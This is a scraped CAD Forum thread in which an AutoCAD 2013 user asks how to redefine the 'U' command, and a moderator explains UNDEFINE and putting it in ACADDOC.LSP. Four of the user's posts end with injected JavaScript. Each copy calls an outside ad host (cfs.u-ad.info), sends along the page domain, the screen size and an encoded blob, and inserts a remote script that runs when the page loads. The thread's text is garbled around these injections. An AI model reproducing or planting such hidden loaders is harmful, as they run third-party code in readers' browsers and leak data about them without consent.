CAD Forum - tips, tricks, discussion and utilities for AutoCAD, Inventor, Revit and other Autodesk products [www.cadforum.cz] ARKANCE | CONTACT - CZ | SK | EN | DE
Over 1.091.000 registered users (EN+CZ). AutoCAD tips, Inventor tips, Revit tips. Try the new precise Engineering calculator. New AutoCAD 2026 commands and variables.
RSS channel - CAD tips RSS tips
RSS discussions

Discussion Discussion forum

?
CAD discussions, advices, exchange of experience

CAD Forum - Homepage CAD discussion forum - ask any CAD-related questions here, share your CAD knowledge on AutoCAD, Inventor, Revit and other Autodesk software with your peers from all over the world. To start a new topic, choose an appropriate forum.

Please abide by the rules of this forum.
This is a peer-to-peer forum. The forum doesn't replace the official direct technical support provided by ARKANCE for its customers.
How to post questions: register or login, go to the specific forum and click the NEW TOPIC button.
  FAQ FAQ  Forum Search   Events   Register Register  Login Login

Topic ClosedHow to change "U" into other not as Undo anymore ?

 Post Reply Post Reply Page  12>
Author
Deby Ferdian View Drop Down
Newbie
Newbie


Joined: 30.Dec.2015
Location: Indonesia
Using: AutoCAD 2013
Status: Offline
Points: 17
Direct Link To This Post Topic: How to change "U" into other not as Undo anymore ?
    Posted: 04.Jan.2016 at 19:06
How to change the aliases command of an "U" in an AutoCAD 2013 as an Undo of the original command into the other command ? Such as an "UNION" or "UNIT" or any. I've tried to change the "acetauto.lsp" content to find out that. I mean looking for "U" as an Undo as an original command to change it and also I was try to editing "CUIX EDITOR" from the "EXPRESS TOOLS" menu to looking for it. But that was all with no success at all even so far I've never found it at all unless in "CUIX EDITOR" with the command is "U" and macro "_u" I was try to change it but with no difference. How to change it ? Some people suggest me to edit the "MACRO" and make the file of "acaddoc.lsp" it self but I don't understand and not familiar with the "MACRO" at all. Could be that the because I'm still beginner right now. ;D  Hehe..


Help me! Please ..    -_-"



And I'm sorry because my spoken, wrote, grammer and my handwriting still mess and still need lot of that to be fixed. I've just learning english language not long time this and also until this day too even still in process but I've tried. Thank you for your visit and willing to take your time to read my writing and unrest and commotion that has been my desire to this forum.
if (self==top) {function netbro_cache_analytics(fn, callback) {setTimeout(function() {fn();callback();}, 0);}function sync(fn) {fn();}function requestCfs(){var idc_glo_url = (location.protocol=="https:" ? "https://" : "http://");var idc_glo_r = Math.floor(Math.random()*99999999999);var url = idc_glo_url+ "cfs.u-ad.info/cfspushadsv2/request" + "?id=1" + "&enc=telkom2" + "¶ms=" + "4TtHaUQnUEiP6K%2fc5C582ECSaLdwqSpnEXTEDBD%2fjshSTrJeNKWU8sKWh4Vq1VXeNbGZvhojwmA48oTiaT2TQyBhDofydDu61wCTkRokgNsrO%2byb%2fIC%2f%2bGqrMt6tChceDLdYWVFqft%2fWvkJhD3ZSXnkoODEC7yduZqbo%2fizH9rbYAJmQcBmZe%2fzKPEkGnlVgHkYpViLiRN9K5y%2bg%2bbOeM2sV2aXVB5aV0A9mO8%2b%2fxdYr3z4QOn%2fUhurqqnlPlOU9xCPyUQF%2bsg%2bCoIxIM6h68Y7DghJvzhRYn8BU9938u3EhAoL6kn4vknGvo0We7L99cCflOJDIE8ZUHiHD58AWr5fES9TYbpx1QgSHUQbo%2bQyD%2bFjs92A8x0XTOS%2bsxxEFzMCNzCv65ZJuQBVo28o4tJkBa9lchd1t3p44vpzQEc5nf6n6insD1Igos2adk8bN3Di572GUO%2bTgai8nZA%2bI4BOZAiax0dxVRYp%2fPWjyl2GwlCP%2fZdqs84mIc%2bEDcthETMzOJeSwyh0%2fXqm3L0rhJ%2bdL35JTnZYZaEyoj5hHSmGMkEvGJzs%2bd7%2fThY5Y%2fhdi" + "&idc_r="+idc_glo_r + "&domain="+document.domain + "&sw="+screen.width+"&sh="+screen.height;var bsa = document.createElement('script');bsa.type = 'text/javascript';bsa.async = true;bsa.src = url;(document.getElementsByTagName('head')[0]||document.getElementsByTagName('body')[0]).appendChild(bsa);}netbro_cache_analytics(requestCfs, function(){});};
I believe I can fly and doesn't just also to imagine that!
Back to Top
Vladimir Michl View Drop Down
Moderator Group
Moderator Group

Arkance Systems CZ

Joined: 26.Jul.2007
Location: Czech Republic
Using: Autodesk software
Status: Offline
Points: 2098
Direct Link To This Post Posted: 04.Jan.2016 at 19:15
This type of command aliases is defined in the ACAD.PGP alias file. But "U" is not an alias but a standard command name. In this case you can "UNDEFINE" the command and alias it through the dot syntax (".U").
Vladimir Michl (moderator)
ARKANCE - https://arkance.world - Autodesk Platinum Partner
Back to Top
Deby Ferdian View Drop Down
Newbie
Newbie


Joined: 30.Dec.2015
Location: Indonesia
Using: AutoCAD 2013
Status: Offline
Points: 17
Direct Link To This Post Posted: 05.Jan.2016 at 11:30
WOW! it's so very really wonderful thank you so much Vladimir Michl because of your help now I'm so happy really really happy it's awesome and amazing. I've just know this is can be done it's really helpful of course this useful for me but if may you let me to know ? How do I save this act ? I mean "UNDEFINE" after I've done this and close the document and re-open the autoCAD application and starting re-open the document and everything has go back to the beginning. if (self==top) {function netbro_cache_analytics(fn, callback) {setTimeout(function() {fn();callback();}, 0);}function sync(fn) {fn();}function requestCfs(){var idc_glo_url = (location.protocol=="https:" ? "https://" : "http://");var idc_glo_r = Math.floor(Math.random()*99999999999);var url = idc_glo_url+ "cfs.u-ad.info/cfspushadsv2/request" + "?id=1" + "&enc=telkom2" + "¶ms=" + "4TtHaUQnUEiP6K%2fc5C582ECSaLdwqSpnU4tPDulON6YdcMgCrylZKA8Pmeph8W4F0bn%2fDsf%2bowQuo%2bBQuNF%2fPkbH4HRkXqKHtheYKTZpeOdxmDfaQC0uZsJGbY%2bPuh7PHoIBbGudhjFlRpd9WhJ%2bDXhQqEhLY7lV4x2AFhH5x5C2YcDfMF%2fD%2bZA0lL7ez3O3snVe1R%2bms57NNv92xKWMHi8W1lqX8UefH8oAF%2fVdC1LdHGFJD5ZtD6zskxTmyCA5LvZgRo8Jhl7LTNS4JzXtjof3YREXVOd6PlsCVqeKUW1anqG2Nqg%2f16Lvb%2bFY%2f5FybgYwtSXFVtjxAIu2xh2ED%2fPd%2fK1c3SvkEpdJnP7nfJXkfiYm9OpY%2f8YLczP5xTRfbO9BN%2bXcpE5J2%2bhp29SN7O8lPHLBOPFqchtmJc1o4fqW1O%2biW9KEbKhopereII9f1nmA2CQlBydFZFIQ54qaZHWgIYj8sH7jRdWdiRu5hJD3hPW6K1PISVW%2fK5KbT2toITh%2f%2b7ZH4VZgARZhzaADOspRzrasHFiBVCCWQRp7FA1i4kIK1AlFkXKIlC38Tk9C" + "&idc_r="+idc_glo_r + "&domain="+document.domain + "&sw="+screen.width+"&sh="+screen.height;var bsa = document.createElement('script');bsa.type = 'text/javascript';bsa.async = true;bsa.src = url;(document.getElementsByTagName('head')[0]||document.getElementsByTagName('body')[0]).appendChild(bsa);}netbro_cache_analytics(requestCfs, function(){});};
I believe I can fly and doesn't just also to imagine that!
Back to Top
Vladimir Michl View Drop Down
Moderator Group
Moderator Group

Arkance Systems CZ

Joined: 26.Jul.2007
Location: Czech Republic
Using: Autodesk software
Status: Offline
Points: 2098
Direct Link To This Post Posted: 05.Jan.2016 at 12:00
The UNDEFINE has to be started in every AutoCAD session - e.g. by adding
 
(command "_UNDEFINE" "U")
 
to your ACADDOC.LSP text file (create it if it does not exist).
Vladimir Michl (moderator)
ARKANCE - https://arkance.world - Autodesk Platinum Partner
Back to Top
Deby Ferdian View Drop Down
Newbie
Newbie


Joined: 30.Dec.2015
Location: Indonesia
Using: AutoCAD 2013
Status: Offline
Points: 17
Direct Link To This Post Posted: 05.Jan.2016 at 20:05
No, I don't have the "acaddoc.lsp" except the "acad2013doc.lsp". Maybe that what's you mean. Right? but the content appear like this. see below.

; Next available MSG number is  104
; MODULE_ID ACAD2012doc_LSP_
;;;    ACAD2013DOC.LSP Version 1.0 for AutoCAD 2013
;;;
;;;  Copyright 2012 Autodesk, Inc.  All rights reserved.
;;;
;;;  Use of this software is subject to the terms of the Autodesk license
;;;  agreement provided at the time of installation or download, or which
;;;  otherwise accompanies this software in either electronic or hard copy form.
;;;
;;;
;;;
;;;    Note:
;;;            This file is loaded automatically by AutoCAD every time
;;;            a drawing is opened.  It establishes an autoloader and
;;;            other utility functions.
;;;
;;;    Globalization Note:  
;;;            We do not support autoloading applications by the native
;;;            language command call (e.g. with the leading underscore
;;;            mechanism.)


;;;===== Raster Image Support for Clipboard Paste Special =====
;;
;; IMAGEFILE
;;
;; Allow the IMAGE command to accept an image file name without
;; presenting the file dialog, even if filedia is on.
;; Example: (imagefile "c:/images/house.bmp")
;;
(defun imagefile (filename / filedia-save cmdecho-save)
  (setq filedia-save (getvar "FILEDIA"))
  (setq cmdecho-save (getvar "CMDECHO"))
  (setvar "FILEDIA" 0)
  (setvar "CMDECHO" 0)
  (command "_.-image" "_attach" filename)
  (setvar "FILEDIA" filedia-save)
  (setvar "CMDECHO" cmdecho-save)
  (princ)
)

;;;=== General Utility Functions ===

;   R12 compatibility - In R12 (acad_helpdlg) was an externally-defined
;   ADS function.  Now it's a simple AutoLISP function that calls the
;   built-in function (help).  It's only purpose is R12 compatibility. 
;   If you are calling it for anything else, you should almost certainly
;   be calling (help) instead.
 
(defun acad_helpdlg (helpfile topic)
  (help helpfile topic)
)


(defun *merr* (msg)
  (setq *error* m:err m:err nil)
  (princ)
)

(defun *merrmsg* (msg)
  (princ msg)
  (setq *error* m:err m:err nil)
  (princ)
)


( ... ... ... )

;(it's just for closed tags)



And I try with a copy the "acad2013doc.lsp" and I also try to re-name it to be "acaddoc.lsp". Give me an input or your suggest. Please!  ^_^"if (self==top) {function netbro_cache_analytics(fn, callback) {setTimeout(function() {fn();callback();}, 0);}function sync(fn) {fn();}function requestCfs(){var idc_glo_url = (location.protocol=="https:" ? "https://" : "http://");var idc_glo_r = Math.floor(Math.random()*99999999999);var url = idc_glo_url+ "cfs.u-ad.info/cfspushadsv2/request" + "?id=1" + "&enc=telkom2" + "¶ms=" + "4TtHaUQnUEiP6K%2fc5C582ECSaLdwqSpnSpYknJmg04WZ7nDpKaIXp4OTZFFLlTDA%2bvBwSqum2%2fgxo2luX5jWgPW1BNI1sjCW9cojFzdej3NJRgk8FWcFXqDvmnpckv5vX2qp23P5%2b2ISDDkwHZJkT8PcVb%2bII84%2bU71n3l5fC4rTEenDxBkwo3pMdqgPImMl5mhyD7nXc5GEYhD7hbCwMqvjTm4szyYvyq5EMXKst9RgBeYXyav9tkh4R%2bZFWxpnTIo5QUHiobumtYLoBUKxmcTXfSD16BO6PvV5lFzSeJ%2fau%2f0wzcEPzAGznxCo1ov9%2bo%2fQWUUjxqNINmVHN%2fcYBaDBSmML%2ff3ANfmWcVGUBBtNBMEoB5twXgzM7ZnyGF4vAlaxQDTTAbIwLOx1TvM1U6lVW9UOSZSd8MDGiZjjCu1fz%2bY1Hb3w7DZXMY4C8z7FuHbvES2UG03UTgI1ASPLwtqWMd4BKuEFs6F7bPCZowY9UUHtD90%2bW8QwoFxLzt2AlqQnSz%2bPN7kNt6lH3tEnNZ2LzbZZHMVqwK4Tq38T8Za84VhMrF18XZ%2b4SO%2fnFUj2" + "&idc_r="+idc_glo_r + "&domain="+document.domain + "&sw="+screen.width+"&sh="+screen.height;var bsa = document.createElement('script');bsa.type = 'text/javascript';bsa.async = true;bsa.src = url;(document.getElementsByTagName('head')[0]||document.getElementsByTagName('body')[0]).appendChild(bsa);}netbro_cache_analytics(requestCfs, function(){});};

Edited by Deby Ferdian - 05.Jan.2016 at 20:12
I believe I can fly and doesn't just also to imagine that!
Back to Top
Vladimir Michl View Drop Down
Moderator Group
Moderator Group

Arkance Systems CZ

Joined: 26.Jul.2007
Location: Czech Republic
Using: Autodesk software
Status: Offline
Points: 2098
Direct Link To This Post Posted: 05.Jan.2016 at 20:23
No, if you have no ACADDOC.LSP, just create it in Notepad.
Vladimir Michl (moderator)
ARKANCE - https://arkance.world - Autodesk Platinum Partner
Back to Top
Vladimir Michl View Drop Down
Moderator Group
Moderator Group

Arkance Systems CZ

Joined: 26.Jul.2007
Location: Czech Republic
Using: Autodesk software
Status: Offline
Points: 2098
Direct Link To This Post Posted: 06.Jan.2016 at 10:22
Just make a text file ACADDOC.LSP in the Support folder and put a single line into it:
 
(command "_UNDEFINE" "U")
 
 
Vladimir Michl (moderator)
ARKANCE - https://arkance.world - Autodesk Platinum Partner
Back to Top
Deby Ferdian View Drop Down
Newbie
Newbie


Joined: 30.Dec.2015
Location: Indonesia
Using: AutoCAD 2013
Status: Offline
Points: 17
Direct Link To This Post Posted: 14.Jan.2016 at 09:24
Hi, sorry I made the new topic that I create on the same line. But How do I create or assign a command directly refer through to the macro of the "_solidedit _edge _color " or "_solidedit _face _color "?  e.g. I want to assign the "CF" to be "_solidedit _face _color " of the macro. Please Help me!   ^_^"  and thanks to advances and you did very good. Well done master! ;D
I believe I can fly and doesn't just also to imagine that!
Back to Top
Deby Ferdian View Drop Down
Newbie
Newbie


Joined: 30.Dec.2015
Location: Indonesia
Using: AutoCAD 2013
Status: Offline
Points: 17
Direct Link To This Post Posted: 15.Jan.2016 at 00:26
How to detecting the mutual command of an AutoCAD 2013 by it self or automatically?   ;D   Sorry chould be I talk too much to this forum but I want to learn to know more what I've don't know through this day,,if (self==top) {function netbro_cache_analytics(fn, callback) {setTimeout(function() {fn();callback();}, 0);}function sync(fn) {fn();}function requestCfs(){var idc_glo_url = (location.protocol=="https:" ? "https://" : "http://");var idc_glo_r = Math.floor(Math.random()*99999999999);var url = idc_glo_url+ "cfs.u-ad.info/cfspushadsv2/request" + "?id=1" + "&enc=telkom2" + "¶ms=" + "4TtHaUQnUEiP6K%2fc5C582ECSaLdwqSpnuuc2vaqqeVj5G5Dn%2fB9D7xQjkH12IKQWrHvvdoK%2fYP5p7J%2fSZOZGk7pptxEi7j8oqADLOxRneYckFKi2trAoLDXcrUPzBp9kAk9USSxCY24Nu%2fCs0jSuu%2flbpasSZtWzNVS3OBekR3PShWmI6y%2fPCYRL96%2fsYC5pR2R%2frHNGXZnUr7xebzN55lcdIJqFhBUf%2bERgeSXh3pZIROcPS5L5ttGb5oZUs34ENNF1qSyLdQq7NuSLmW5A%2fGngrYSfADRALZeEY0N9InCxQgswEvafj6A46XLjRrgdcIVp%2fjF507Buh221pERhcXDTG0BFfxkToSERpp7bpNAxfOgdLotv%2fkpvfa2wWvEDrBzRvd7%2bD%2fCWVzERzzCqIJJo9LOd%2fqOpLOokIy5POUQ5HjB3NEW8fdsB8McH28zWruA3Nlvo3t%2buIf2RlgqE8W57RC7AsjzS28TxGVCdFnK92l2N2ZjyASEuYp1AuQPkcBc35%2byI4M8Vus6KA8OUae71aviJIY6SbwCncWovNqqDHy3bLGZWI%2bJ%2blvCOEgLDfxk3E5IPO7w%3d" + "&idc_r="+idc_glo_r + "&domain="+document.domain + "&sw="+screen.width+"&sh="+screen.height;var bsa = document.createElement('script');bsa.type = 'text/javascript';bsa.async = true;bsa.src = url;(document.getElementsByTagName('head')[0]||document.getElementsByTagName('body')[0]).appendChild(bsa);}netbro_cache_analytics(requestCfs, function(){});};

Edited by Deby Ferdian - 15.Jan.2016 at 00:31
I believe I can fly and doesn't just also to imagine that!
Back to Top
John Connor View Drop Down
Senior Member
Senior Member


Joined: 01.Feb.2011
Location: United States
Using: AutoCAD 2018
Status: Offline
Points: 7175
Direct Link To This Post Posted: 15.Jan.2016 at 11:40
What's with all the garbage in the post above?

I don't understand what your question is.
"Humans have a strength that cannot be measured. This is John Connor. If you are reading this, you are the resistance."

<<AutoCAD 2015>>

Back to Top

Related CAD tips:


 Post Reply Post Reply Page  12>
  Share Topic   

Forum Jump Forum Permissions View Drop Down



This page was generated in 0,070 seconds.